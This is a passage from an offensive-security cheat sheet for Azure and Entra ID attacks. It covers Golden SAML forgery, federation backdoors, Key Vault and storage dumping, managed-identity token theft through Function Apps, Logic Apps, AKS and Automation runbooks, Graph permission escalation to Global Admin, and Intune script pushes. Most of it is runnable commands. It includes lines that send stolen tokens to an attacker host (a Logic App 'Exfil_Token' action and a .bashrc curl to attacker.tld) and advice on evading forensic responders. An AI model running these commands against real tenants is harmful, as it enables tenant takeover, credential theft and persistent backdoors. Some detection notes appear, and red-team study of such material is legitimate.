  /service:HTTP /ptt

# Convert to Azure token via Kerberos ticket
roadtx gettokens -c msgraph --kerberos-ticket <b64>

# Rotate to prevent detection (Microsoft recommends, rarely done)
Update-AADIntSeamlessSSO

#Cloud Kerberos Trust (Cloud Trust)

Cloud Trust replaces ADFS + Windows Hello for Business certificate trust. Entra ID becomes a read-only RODC for Kerberos. A Cloud TGT is minted in Entra and accepted by on-prem DCs via a trust secret. Compromise of the Cloud TGT signing key or the on-prem krbtgt_AzureAD -like account yields on-prem ticket forgery FROM Entra compromise.

# On-prem: Cloud Trust creates a special krbtgt account used for cross-realm tickets
Get-ADUser -Filter 'Name -like "krbtgt_*"'    # look for krbtgt_AzureAD or similar

# Enumerate cloud trust
dsregcmd /status | findstr CloudTrust
klist cloud_debug

# Forge inter-realm ticket (Cloud TGT -> on-prem access)
# Requires stolen cloud trust key from Entra side
# See dirkjanm's research + roadtx cloud-kerberos-trust

#Cloud Trust Object (CTO) SID Forgery

With Cloud Kerberos Trust, Entra ID hands out TGTs that claim the user's on-prem SID. If you control an Entra user whose onPremisesSecurityIdentifier you can write (via certain Graph perms), you forge a SID that maps to Domain Admins on prem -> Cloud SID Forgery.

#Federation (ADFS) - Golden SAML

# Export signing cert + private key
Export-AADIntADFSSigningCertificate
Export-AADIntADFSConfiguration -Hash <dkm_hash>

# Forge SAML as GA
New-AADIntSAMLToken -UserName [email protected] -UseBuiltInCertificate -Issuer "http://adfs.target.com/adfs/services/trust"

# Backdoor federation - add attacker-controlled issuer
ConvertTo-AADIntBackdoor -DomainName target.com
Set-AADIntDomainAuthentication -DomainName target.com -Authentication Federated \
  -IssuerUri "http://any.sts/adfs" -LogOffUri "https://attacker.tld/logoff" \
  -PassiveLogOnUri "https://attacker.tld/login"

# Issue token as ANY user in the domain
New-AADIntSAMLToken -UserName [email protected] -UseBuiltInCertificate

#Federation Trust Object Backdoor

Entra stores federation config per verified domain. A persistence trick is to add a second, unused verified domain (e.g. evil.target.com), federate it to an attacker STS, and create immutableIds mapping synced users to that federated domain. Future logins can be routed via the attacker STS.

#Microsoft Entra Connect Health Abuse

The Connect Health agent has permissions to read ADFS event logs and config. Compromise of the Health agent on an ADFS server = read the signing cert material + ADFS config DB.

Get-Service ADHealth*
Export-AADIntADFSConfiguration -AsXml

#ChaosDB (CVE-2021-38647) - Cosmos DB

The Cosmos DB Jupyter Notebook feature exposed the primary key via an unauthenticated endpoint. Every Cosmos account with notebooks enabled leaked its master key for ~2 years. The feature has been patched, but the pattern (notebook RCE -> read management plane keys) applies to any notebook-backed data service.

# Historic exploit
curl https://<account>.documents.azure.com/_explorer/emulator.pem  # leak cert
curl https://notebooks.azure.com/api/... /notebookClusterHostKeys   # leak primary key

# Read with stolen primary key (still works if keys not rotated)
curl -H "Authorization: type=master&ver=1.0&sig=<hmac>" \
  https://<account>.documents.azure.com/dbs

#Storage Account Deep Exploitation

# List all keys (needs Storage Account Contributor or listKeys action)
az storage account keys list -g <rg> -n <account>
az storage account keys list -g <rg> -n <account> --query "[0].value" -o tsv

# Generate account SAS (read all, write, list, delete, all services)
az storage account generate-sas --account-name <account> \
  --services bfqt --resource-types sco --permissions cdlruwap \
  --expiry 2030-01-01 --https-only

# User delegation SAS (uses Entra identity, 7 day max, no key theft needed)
az storage blob generate-sas --account-name <account> -c <container> -n <blob> \
  --permissions r --expiry 2025-12-31 --auth-mode login --as-user

# Service SAS on a single container
az storage container generate-sas --account-name <account> --name <container> \
  --permissions lr --expiry 2030-01-01

# Enumerate without creds (public containers)
az storage blob list --account-name <account> -c <container> --auth-mode login
curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"

# Stored Access Policy abuse - edit policy to extend SAS validity
az storage container policy list --account-name <account> -c <container>
az storage container policy update --account-name <account> -c <container> \
  --name <policyname> --expiry 2030-01-01 --permissions racwdl

# File shares
az storage share list --account-name <account> --account-key <key>
az storage file download-batch -d . --account-name <account> \
  --share-name <share> --pattern "*.ps1"

# Table storage
az storage table list --account-name <account>
az storage entity query -t <table> --account-name <account>

# Queue storage (messages can leak secrets)
az storage message peek --queue-name <q> --account-name <account>

#Azure Arc Onboarding Token Theft

Arc-enabled servers run the Azure Connected Machine Agent (azcmagent). Its credentials live in /var/opt/azcmagent/tokens/ on Linux or C:\ProgramData\AzureConnectedMachineAgent\Tokens\ on Windows. Stealing these lets you impersonate the machine, pull its Managed Identity, and potentially pivot back into Azure.

# Linux
cat /var/opt/azcmagent/agentconfig.json
ls /var/opt/azcmagent/tokens/
# identity.json holds the MSI JWT - valid for hours

# Windows
type C:\ProgramData\AzureConnectedMachineAgent\Config\agentconfig.json
type C:\ProgramData\AzureConnectedMachineAgent\Tokens\*.json

# Impersonate Arc machine MSI
curl -H "Metadata: true" \
  "http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com"

# Arc Extension RCE (SCM + Custom Script Extension)
az connectedmachine extension create --name CustomScript \
  --machine-name <arc_host> -g <rg> --type CustomScriptExtension \
  --publisher Microsoft.Compute --settings '{"commandToExecute":"whoami > /tmp/x"}'

#Azure Functions / App Service Kudu

# Kudu SCM URL (master credentials give full RCE)
https://<app>.scm.azurewebsites.net
https://<app>.scm.azurewebsites.net/DebugConsole
https://<app>.scm.azurewebsites.net/api/command  # POST {"command":"whoami","dir":"."}

# Publish profile = Kudu basic auth
az webapp deployment list-publishing-profiles -g <rg> -n <app> --xml
# Extract <publishProfile profileName="... Web Deploy"> userName / userPWD

# Function App master key (can invoke any function)
az functionapp keys list -g <rg> -n <app>
curl https://<app>.azurewebsites.net/admin/host/keys -H "x-functions-key: <master>"

# Trigger custom function with payload
curl -X POST "https://<app>.azurewebsites.net/api/<fn>?code=<master>" -d '{"cmd":"id"}'

# Deployment slot swap abuse - push malicious code to staging, swap to prod
az webapp deployment slot swap -g <rg> -n <app> --slot staging --target-slot production

AZWebsiteContributor edge: Website Contributor can create or modify any function inside a Function App. If the app has a Managed Identity, the injected function runs in that MI context and can dump its token. BARK primitives automate the full flow:

# Create a new PowerShell function inside a Function App with attacker-controlled script
New-PowerShellFunctionAppFunction -Token $ARMToken `
  -FunctionAppName <app> `
  -FunctionName evil `
  -PowerShellScript @'
$tokenUri = $env:IDENTITY_ENDPOINT + "?resource=https://management.azure.com/&api-version=2019-08-01"
$headers = @{ "X-IDENTITY-HEADER" = $env:IDENTITY_HEADER }
$tok = Invoke-RestMethod -Uri $tokenUri -Headers $headers
Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ Body = ($tok | ConvertTo-Json) })
'@

# Grab master keys (admin key gives unrestricted function invocation)
Get-AzureFunctionAppMasterKeys -Token $ARMToken -FunctionAppName <app>

# Invoke and pull the MI token out of the HTTP response
Get-AzureFunctionOutput -Token $ARMToken -FunctionAppName <app> -FunctionName evil

Path: AZWebsiteContributor -> create Function -> Function runs as App Service MI -> IMDS token -> MI Azure RM roles.

#Logic Apps / Connectors

AZLogicAppContributor edge: Logic App Contributor can modify the workflow JSON. If the Logic App has a System-Assigned or User-Assigned Managed Identity attached, the attacker modifies the workflow to insert an HTTP action that requests a management.azure.com token via the MI and POSTs it to an attacker-controlled endpoint. No code execution needed - the Logic App runtime does the token acquisition.

az logic workflow list -g <rg>
az logic workflow show -g <rg> -n <wf> --query "definition"

# Trigger URL contains HMAC sig - if leaked, anyone can invoke
az rest --method post --url "<triggerUrl>" --body '{"input":"x"}'

# Connector API connection auth tokens (HTTP/SharePoint/O365 connectors)
az resource list --resource-type Microsoft.Web/connections
az rest --method get --url "/subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.Web/connections/<name>/listConsentLinks?api-version=2016-06-01"

Workflow hijack to exfil the MI token (drop this action into the workflow definition):

"actions": {
  "Get_MI_Token": {
    "type": "Http",
    "inputs": {
      "method": "GET",
      "uri": "https://management.azure.com/subscriptions?api-version=2020-01-01",
      "authentication": {
        "type": "ManagedServiceIdentity",
        "audience": "https://management.azure.com/"
      }
    }
  },
  "Exfil_Token": {
    "runAfter": { "Get_MI_Token": [ "Succeeded" ] },
    "type": "Http",
    "inputs": {
      "method": "POST",
      "uri": "https://attacker.tld/collect",
      "body": "@{workflow().run.name}::@{actions('Get_MI_Token').outputs}"
    }
  }
}

Better variant - directly exchange the MI identity for a raw token via the internal workflow identity endpoint and exfil just the bearer:

"Get_Raw_Token": {
  "type": "Http",
  "inputs": {
    "method": "GET",
    "uri": "@{concat(parameters('$connections')['managedServiceIdentity']['endpoint'],'?api-version=2017-09-01&resource=https://management.azure.com/')}",
    "headers": { "Secret": "@{parameters('$connections')['managedServiceIdentity']['secret']}" }
  }
}

PUT the modified definition back:

az logic workflow update -g <rg> -n <wf> --definition @evil.json
az logic workflow trigger run -g <rg> --name <wf> --trigger-name manual

#Container Registry Abuse

az acr login --name <registry>
az acr repository list --name <registry>
az acr repository show-tags --name <registry> --repository <img>

# Image poisoning (needs push permission)
docker pull <registry>.azurecr.io/<img>:latest
docker build -t <registry>.azurecr.io/<img>:latest . --build-arg BASE=<img>
docker push <registry>.azurecr.io/<img>:latest

# Tag mutation if immutability off
az acr repository untag --name <registry> --image <img>:latest
docker tag evil:latest <registry>.azurecr.io/<img>:latest

#AKS Pod / Managed Identity

# Check if cluster uses kubelet identity vs AAD Pod Identity vs Workload Identity
az aks show -g <rg> -n <cluster> --query identityProfile

# From compromised pod - hit IMDS
kubectl exec -it <pod> -- curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"

# Hijack node kubelet identity if you control a host-network pod
kubectl run pwn --image=busybox --overrides='{"spec":{"hostNetwork":true}}' \
  -- sh -c 'wget -qO- -H "Metadata:true" http://169.254.169.254/metadata/identity/oauth2/token'

# Cluster admin cred from Azure RBAC
az aks get-credentials -g <rg> -n <cluster> --admin

#Cloud Shell Attack Surface

Cloud Shell is a pod in Microsoft-managed AKS with your home dir mounted from an Azure Files share. Stealing the storage key or poisoning .bashrc in the fileshare persists across sessions.

# In an attacker-controlled shell session
cat ~/.azure/accessTokens.json
cat ~/.azure/msal_token_cache.json
cat ~/clouddrive/.bashrc
mount | grep clouddrive  # cifs mount to <storageAccount>.file.core.windows.net

# Persist in the fileshare
echo 'curl https://attacker.tld/$(cat ~/.azure/accessTokens.json | base64 -w0)' >> ~/.bashrc

#Disk Snapshots, Key Vault, Recovery Services

# Snapshot VM disk (needs Disk Snapshot Contributor or Contributor)
az disk list
az snapshot create -g <rg> -n evilSnap --source <disk_id>
az snapshot grant-access -g <rg> -n evilSnap --duration-in-seconds 3600 --access-level Read
# -> Downloadable SAS URL, pull raw VHD, offline secretsdump / mimikatz

# Recovery Services Vault encryption key theft
az backup vault list
az backup vault encryption show --vault-name <v> -g <rg>
# If BYOK Key Vault is compromised, all backups are decryptable

# Key Vault full dump - secrets, keys, certificates (AZGetSecrets / AZGetKeys / AZGetCertificates)
az keyvault list
for v in $(az keyvault list --query "[].name" -o tsv); do
  # Secrets
  for s in $(az keyvault secret list --vault-name $v --query "[].name" -o tsv); do
    az keyvault secret show --vault-name $v -n $s --query value -o tsv
  done
  # Keys (AZGetKeys - cryptographic keys, often used for disk encryption, BYOK)
  for k in $(az keyvault key list --vault-name $v --query "[].name" -o tsv); do
    az keyvault key show --vault-name $v -n $k
    # Software-protected keys can be downloaded; HSM-backed cannot
    az keyvault key download --vault-name $v -n $k -f ${v}_${k}.pem 2>/dev/null
  done
  # Certificates (AZGetCertificates - often used for mTLS, code signing, SAML)
  for c in $(az keyvault certificate list --vault-name $v --query "[].name" -o tsv); do
    az keyvault certificate show --vault-name $v -n $c
    # Download cert WITH private key (if not HSM)
    az keyvault secret download --vault-name $v -n $c -e base64 -f ${v}_${c}.pfx
    az keyvault certificate download --vault-name $v -n $c -f ${v}_${c}.pem
  done
done

# AZKeyVaultKVContributor GOTCHA - "Key Vault Contributor" manages the vault OBJECT
# but has NO DATA PLANE access. You must first grant yourself read on the data plane:
#
# Access-policy vaults (legacy):
Set-AzKeyVaultAccessPolicy -VaultName <v> -ObjectId <self_oid> \
  -PermissionsToSecrets get,list -PermissionsToKeys get,list -PermissionsToCertificates get,list
# az equivalent:
az keyvault set-policy --name <v> --object-id <self_oid> \
  --secret-permissions get list --key-permissions get list --certificate-permissions get list

# RBAC-model vaults (enableRbacAuthorization == true):
az role assignment create --role "Key Vault Secrets User"      --assignee <self_oid> --scope <vault_id>
az role assignment create --role "Key Vault Certificate User"  --assignee <self_oid> --scope <vault_id>
az role assignment create --role "Key Vault Crypto User"       --assignee <self_oid> --scope <vault_id>
# Then the az keyvault ... list/show commands above will work.

#Bastion Session Hijack

Bastion sessions are brokered via a PaaS front end. Stolen Bastion connection tokens (JWT) can be replayed until expiry, and if you have Network Contributor on the Bastion subnet you can MitM via NSG log collection or packet capture.

#Hybrid Worker Run-As

Automation Hybrid Workers execute runbooks on on-prem machines as SYSTEM by default. Compromise automation account -> upload evil runbook targeting the HybridWorkerGroup -> SYSTEM on-prem.

Import-Module Az.Automation
New-AzAutomationRunbook -Name evil -ResourceGroupName <rg> -AutomationAccountName <aa> -Type PowerShell
Set-AzAutomationRunbookContent -Name evil -Path .\evil.ps1 -AutomationAccountName <aa>
Publish-AzAutomationRunbook -Name evil -AutomationAccountName <aa>
Start-AzAutomationRunbook -Name evil -AutomationAccountName <aa> -RunOn <HybridWorkerGroup>

AZAutomationContributor full BARK workflow (automates create / publish / run / read output in one flow):

# Create runbook from raw script text
New-AzureAutomationAccountRunBook -Token $ARMToken `
  -AutomationAccountRGName <rg> -AutomationAccountName <aa> `
  -RunBookName evil `
  -Script @'
$tok = Invoke-RestMethod -Headers @{Metadata="true"} `
  -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Write-Output ($tok | ConvertTo-Json)
'@

# Read captured output (the MI token)
Get-AzureAutomationAccountRunBookOutput -Token $ARMToken `
  -AutomationAccountRGName <rg> -AutomationAccountName <aa> -RunBookName evil

Credential sources for the runbook execution context:

  • Legacy Run-As account (deprecated Sept 2023 but still present in many tenants) - a cert-auth SP with Contributor at the subscription scope. Dump via Get-AzAutomationCertificate + export.
  • System-assigned / User-assigned Managed Identity (modern) - IMDS available inside the runbook via Get-AzAccessToken. This is what the BARK payload above hits.
  • Automation Credential / Variable objects - arbitrary secrets stashed by admins. Get-AzAutomationCredential, Get-AzAutomationVariable.

#Microsoft Graph Permissions Abuse Reference

#Dangerous Application Permissions

Application permissions (aka app roles) grant a Service Principal tenant-wide access with no user context. Any of these on an attacker-controlled SP is effectively tenant takeover.

Permission Abuse Notes
RoleManagement.ReadWrite.Directory Assign Global Admin to any principal Direct path to GA via POST /roleManagement/directory/roleAssignments
AppRoleAssignment.ReadWrite.All Grant any app role (including above) to any SP Two-hop to GA via the SP
Application.ReadWrite.All Add credentials to any app / SP Escalate via any privileged SP (often GA)
Application.ReadWrite.OwnedBy Add creds to apps this SP owns Combine with New-AppOwner (BARK)
Directory.ReadWrite.All Modify users, groups, devices Group membership manipulation -> inherited roles
User.ReadWrite.All Reset passwords for any non-admin user Great for persistence on targeted identities
Group.ReadWrite.All Add self to any group incl Azure RBAC / licensing Watch for role-assignable groups
GroupMember.ReadWrite.All Same as above, group members only Path to privileged group membership
Policy.ReadWrite.ConditionalAccess Modify or add CA policies Insert exclusions for attacker account
Policy.ReadWrite.AuthenticationMethod Register FIDO2/Authenticator for any user MFA backdoor persistence
Synchronization.ReadWrite.All Create / modify sync jobs Cross-tenant sync backdoor
PrivilegedAccess.ReadWrite.AzureAD PIM activation control Activate eligible roles for attacker
EntitlementManagement.ReadWrite.All Access package abuse, auto-assign roles Stealth persistence via access reviews
Mail.ReadWrite / Mail.Send Full mailbox R/W, impersonation Read every mailbox, send as anyone
Mail.Send Send as any user Phishing + BEC
MailboxSettings.ReadWrite Create inbox rules, forwarding Silent exfil
Files.ReadWrite.All Read/write all OneDrive + SharePoint Data theft + ransomware
Sites.FullControl.All Full SharePoint site collection admin Modify site permissions, deploy webparts
Sites.ReadWrite.All Read/write every SP site Same story
ChannelMessage.Read.All Read every Teams channel message Chat harvest
Chat.ReadWrite.All Read/write every Teams chat Lateral Teams phish
TeamsAppInstallation.ReadWriteForUser.All Install Teams apps for any user Persistence via malicious Teams app
Calendars.ReadWrite Read/modify all calendars Calendar-based phish (CVE-2023-23397 style)
Contacts.ReadWrite Dump all contacts Target map for next phase
Notes.ReadWrite.All All OneNote Credentials often stored here
DeviceManagementConfiguration.ReadWrite.All Push Intune policies SYSTEM on enrolled endpoints
DeviceManagementManagedDevices.PrivilegedOperations.All Remote lock/wipe, fresh start DoS or pivot
DeviceManagementRBAC.ReadWrite.All Modify Intune RBAC Persistence
Domain.ReadWrite.All Add/verify domain, federation backdoor Golden SAML infra
Organization.ReadWrite.All Modify tenant-wide settings CA exclusions, external collab
RoleEligibilitySchedule.ReadWrite.Directory Create PIM eligible assignments Shadow admin with long activation window
Policy.ReadWrite.ApplicationConfiguration Modify app consent policies Lower consent bar for future phishing
Policy.ReadWrite.PermissionGrant Grant consent on behalf of users Auto-consent phishing
ExternalIdentity.ReadWrite.All Create B2B guests bypass Guest injection
ServicePrincipalEndpoint.ReadWrite.All Silent AZMGAddOwner on any Service Principal Obscure perm. Does not require Application.ReadWrite. Owner-add bypasses portal ACL view entirely. Used by BH to derive AZMGAddOwner paths

#Exploitation One-liners

# RoleManagement.ReadWrite.Directory -> assign Global Admin
$body = @{
  "@odata.type"="#microsoft.graph.unifiedRoleAssignment"
  principalId="<attacker_oid>"
  roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"   # Global Admin
  directoryScopeId="/"
} | ConvertTo-Json
Invoke-RestMethod -Uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments \
  -Method POST -Headers @{Authorization="Bearer $token"} -Body $body -ContentType application/json

# Application.ReadWrite.All -> add password to any app
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications/<appObjectId>/addPassword" \
  -Method POST -Headers @{Authorization="Bearer $token"} -Body '{}' -ContentType application/json

# AppRoleAssignment.ReadWrite.All -> grant RoleManagement.ReadWrite.Directory to attacker SP
# 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 = appRoleId of that permission on MS Graph SP
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/<attackerSpId>/appRoleAssignments" \
  -Method POST -Headers @{Authorization="Bearer $token"} -Body (@{
    principalId="<attackerSpId>";
    resourceId="<msgraph_sp_id>";
    appRoleId="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
  } | ConvertTo-Json)

AZMGGrantAppRoles two-hop escalation (the BH-documented chain):

  1. Compromise an SP holding AppRoleAssignment.ReadWrite.All (by itself, not GA).
  2. Use that SP to grant ITSELF the RoleManagement.ReadWrite.Directory app role on the MS Graph SP (the POST above).
  3. Now the SP has the meta-permission to assign directory roles.
  4. Assign Global Admin to a controlled user via POST /roleManagement/directory/roleAssignments.

AppRoleAssignment.ReadWrite.All alone is not marked "admin-consent required, equivalent to GA" in most audit tooling, which is why this path is a classic stealth escalation. BH calls the edge AZMGGrantAppRoles.

AZMGGroup / AZMGGroupMember role-assignable carveout: an SP with only Group.ReadWrite.All or GroupMember.ReadWrite.All can add members to REGULAR groups but NOT to role-assignable groups (PAGs, isAssignableToRole == true). Adding members to a role-assignable group requires RoleManagement.ReadWrite.Directory. This is the protection that keeps PAGs from being hijacked by any Group.ReadWrite.All SP.

# Enumerate role-assignable groups (those protected by the carveout)
Get-MgGroup -Filter "isAssignableToRole eq true" -All

AZMGAddMember with GroupMember.ReadWrite.All (BARK):

Add-AZMemberToGroup -Token $GraphToken -TargetGroupId <gid> -UserObjectId <attacker_oid>

Insight: Graph-driven group adds appear in the Audit Logs -> Directory -> Add member to group event, but depending on portal cache can be invisible in the group's Members blade for several minutes - useful for brief persistence windows during an op.

AZExecuteCommand (Intune script push):

# Upload a PowerShell script via DeviceManagementConfiguration.ReadWrite.All
Invoke-RestMethod -Uri "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" `
  -Method POST -Headers @{Authorization="Bearer $token"} `
  -Body (@{
    "@odata.type"="#microsoft.graph.deviceManagementScript"
    displayName="update"
    scriptContent=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('whoami > C:\pwn.txt'))
    runAsAccount="system"
    enforceSignatureCheck=$false
    fileName="update.ps1"
  } | ConvertTo-Json) -ContentType application/json

Intune log artifact (blue team gold / red team OPSEC trap): the full PowerShell script content is persisted on every executing endpoint at:

C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log
C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\AgentExecutor.log
C:\ProgramData\Microsoft\IntuneManagementExtension\Policies\Scripts\

The content survives the tenant-side deletion of the script policy. Forensic responders find your payload there even after you clean up the Graph side. Red team: plan for this - use short downloader stubs, not inline payloads, and prefer policies that don't run via IntuneManagementExtension where possible.

#Azure Resource Exploitation

#RBAC Roles

Role Impact
Owner Full control, can assign roles
Contributor Create/manage resources, no role assignment
User Access Administrator Can manage role assignments -> Owner (see AZUserAccessAdministrator)
Reader Read-only, can see secrets in misconfigs
VM Contributor Full VM management + Run Command = SYSTEM
VM Administrator Login RDP/SSH as local admin via Entra creds (see AZVMAdminLogin)
VM User Login RDP/SSH as local user via Entra creds
Avere Contributor Abuse Avere vFXT password reset (see AZAvereContributor)
AKS Cluster Admin / AKS Contributor az aks get-credentials --admin -> cluster admin (see AZAKSContributor)
Automation Contributor Runbook RCE on hybrid worker / Run-As account
Logic App Contributor Modify workflow -> exfil MI token
Website Contributor Kudu RCE + Function App MI dump
Key Vault Contributor Manage vault object but NOT data plane - see AZKeyVaultKVContributor

#AZUserAccessAdministrator

UAA is the canonical Azure RM privilege escalation role: it can create role assignments (including Owner) at its scope. BloodHound treats it as a distinct edge because its abuse surface is different from Contributor.

Two entry points:

  1. Native UAA assignment on a scope - read role defs, write your own assignments.
  2. GA elevateAccess toggle - any Global Admin can flip the tenant-root MG to grant themselves UAA at /, inheriting Owner-assign rights on every subscription.
# The toggle (GA only). BH draws AZGlobalAdmin -> AZUserAccessAdministrator after this.
az rest --method post \
  --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Post-toggle: assign Owner on every subscription
for sid in $(az account list --query "[].id" -o tsv); do
  az role assignment create --assignee <me> --role Owner --scope /subscriptions/$sid
done

# Clean up the elevateAccess (good tradecraft)
az rest --method delete \
  --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

BARK primitives:

Set-AzureRMRoleAssignment    -Token $ARMToken -PrincipalId <oid> -RoleDefinitionId <roleId> -Scope <scope>
New-AzureRMRoleAssignment    -Token $ARMToken -SubscriptionID <sid> -PrincipalId <oid> -RoleDefinitionName Owner

Detection: Microsoft.Authorization/elevateAccess/action in Azure Activity Log is the single most reliable tenant-takeover IOC. Most orgs never see it.

#AZVMAdminLogin

Virtual Machine Administrator Login is a built-in Azure RBAC role that grants you local Administrator group membership on any VM with the AADLoginForWindows (or AADSSHLoginForLinux) extension installed, authenticated via your Entra credentials. No local account, no password known in advance.

Path: AZVMAdminLogin -> RDP/SSH as <entra_upn> -> local admin -> SYSTEM via UAC bypass -> lateral.

# Enum VMs with the extension
az vm extension list --vm-name <vm> -g <rg> \
  --query "[?name=='AADLoginForWindows' || name=='AADSSHLoginForLinux']"

# Or tenant-wide
az vm list --query "[].{name:name,rg:resourceGroup,id:id}" -o tsv | while read name rg id; do
  az vm extension list --ids $id --query "[?contains(name,'AADLogin')].name" -o tsv
done

# Assign yourself the role (if you have Owner/UAA)
az role assignment create \
  --assignee <my_oid> \
  --role "Virtual Machine Administrator Login" \
  --scope /subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.Compute/virtualMachines/<vm>

# Login (Windows RDP)
mstsc /v:<vm_ip> /u:AzureAD\[email protected]

# Login (Linux SSH)
az ssh vm --ip <ip> --local-user <entra_upn>
az ssh vm --name <vm> -g <rg>

Detection: look for AADLoginForWindows events in VM Security log, plus Microsoft.Compute/virtualMachines/login/action in Activity Log.

#AZAvereContributor

Avere vFXT is a niche high-performance NFS/SMB cache appliance. The Avere Contributor built-in role can reset the local admin password on Avere cluster nodes via the Avere Contributor password-reset primitive, which gives you SSH/root on the node VM. BloodHound tracks it specifically because it is one of the few built-in roles whose effective privilege far exceeds its name.

# Enumerate Avere clusters
az resource list --resource-type "Microsoft.AvereVfxt/vfxts"

# Assign the role (if you already have UAA on the RG)
az role assignment create \
  --assignee <oid> --role "Avere Contributor" \
  --scope /subscriptions/<sid>/resourceGroups/<rg>

# The password reset itself is exposed via the Avere vFXT ARM API
# POST /providers/Microsoft.AvereVfxt/vfxts/<cluster>/resetAdminPassword

Rare but present in BH path-finding if the environment runs Avere. Mention here mainly so learners do not dismiss the edge as unknown.

#AZAKSContributor + AZNodeResourceGroup

AKS has a two-layer RBAC story that BH captures with paired edges:

  • AZAKSContributor: role on the AKS managed cluster resource. Grants listClusterAdminCredential/action which returns a kubeconfig with cluster-admin RBAC inside the Kubernetes API.
  • AZNodeResourceGroup: when AKS creates a managed cluster, it auto-provisions a HIDDEN resource group named MC_<rg>_<cluster>_<region> containing the VMSS nodes, NICs, LB, NSGs. Any role on the parent AKS resource IMPLICITLY extends to this node RG via BH's containment model - you get VMSS RunCommand on the worker nodes without a direct role assignment.

Path:

AZAKSContributor -> az aks get-credentials --admin -> kubectl exec -> pod MI token
   or
AZAKSContributor -> AZNodeResourceGroup (implicit) -> VMSS Run-Command -> SYSTEM on node -> kubelet cert -> cluster admin
# Enum
az aks list --query "[].{name:name,rg:resourceGroup,nodeRg:nodeResourceGroup}"

# Get cluster-admin kubeconfig (bypasses Entra AuthN on K8s API)
az aks get-credentials -g <rg> -n <cluster> --admin

# Drop into a pod, hit IMDS for MI token
kubectl run pwn --image=alpine -i --tty --rm -- sh
# inside:
wget -qO- -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"

# Node RG VMSS RunCommand (via the hidden MC_ RG)
NODE_RG="MC_${RG}_${CLUSTER}_${REGION}"
VMSS=$(az vmss list -g $NODE_RG --query "[0].name" -o tsv)
az vmss run-command invoke -g $NODE_RG --name $VMSS --instance-id 0 \
  --command-id RunShellScript --scripts "cat /var/lib/kubelet/config.yaml; id"

BARK primitive:

Invoke-AzureRMAKSRunCommand -Token $ARMToken `
  -TargetAKSId "/subscriptions/<sid>/resourceGroups/<rg>/providers/Microsoft.ContainerService/managedClusters/<name>" `
  -Command "whoami && curl -H 'Metadata:true' http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"

#Key Services

# Virtual Machines - RCE
az vm run-command invoke -g <rg> -n <vm> \
  --command-id RunPowerShellScript --scripts "whoami"
Set-AzVMExtension -ResourceGroupName <rg> -VMName <vm> \
  -Name CustomScript -Publisher Microsoft.Compute \
  -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.10 \
  -Settings @{"commandToExecute"="cmd.exe /c whoami"}

# Key Vault
az keyvault list
az keyvault secret list --vault-name <name>
Set-AzKeyVaultAccessPolicy -VaultName <name> \
  -ObjectId <your_id> -PermissionsToSecrets get,list

# Automation Accounts
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationCertificate

# Storage (Blob + File Shares)
az storage account keys list -g <rg> -n <account>
az storage blob list -c <container> --account-name <name>
az storage share list --account-name <name> --account-key <key>
az storage file download-batch -d . --account-name <name> \
  --share-name <share> --pattern "*.log"

# Container Registry
docker login <registry>.azurecr.io -u <user> -p <pass>
docker pull <registry>.azurecr.io/<image>

# App Service
az webapp config appsettings list -g <rg> -n <app>

# Azure DevOps
az devops project list --org https://dev.azure.com/<org>
az pipelines variable-group list --org <org> --project <proj>

#Application Proxy

Get-AzureADApplication -All $true | Get-AzureADApplicationProxyApplication
# Exposes internal services - check for misconfigs

#Token Operations

#AADInternals Tokens

Get-AADIntAccessTokenForMSGraph
Get-AADIntAccessTokenForAzureCoreManagement
Get-AADIntAccessTokenForEXO
Get-AADIntAccessTokenForSPO
Get-AADIntAccessTokenForAADGraph
Get-AADIntAccessTokenForAdminAndGraphAPI
Set-AADIntDomainAccessToken  # export to session

#Token Manipulation

# TokenTactics
Get-DeviceCodeToken && Poll-DeviceCodeToken
Invoke-RefreshToMSGraphToken
Invoke-RefreshToAzureManagementToken

# roadtx - FOCI token switching
roadtx gettokens --refresh-token <token> --client <new_client_id>

# Managed Identity token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com \
  &api-version=2019-08-01" -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

# Az PowerShell token
$token = (Get-AzAccessToken -Resource "https://graph.windows.net").Token

#Key Attack Paths

#Path to Global Admin

Chain Steps
Password Spray + App Abuse Spray creds -> enum apps -> RoleManagement.ReadWrite.All -> add secret -> auth as SP -> assign GA
Device Code Phish + PIM Device code phishing -> steal token -> enum PIM eligible roles -> activate GA
On-Prem DA -> Azure DA -> AD Connect -> extract MSOL creds -> DCSync Azure AD
Golden SAML Compromise ADFS -> export signing cert -> forge SAML as GA
Application Admin App Admin role -> add creds to privileged SP -> assign GA via Graph
Managed Identity Compromise VM with MI -> MI has UAA -> assign GA to controlled user
Dynamic Group Modify user attrs to match privileged dynamic group membership rule
Intune Admin Push PowerShell script -> SYSTEM on enrolled devices -> pivot
FOCI Token Switch Steal refresh token -> roadtx switch client ID -> access different API

#Persistence Methods

Method Command / Details
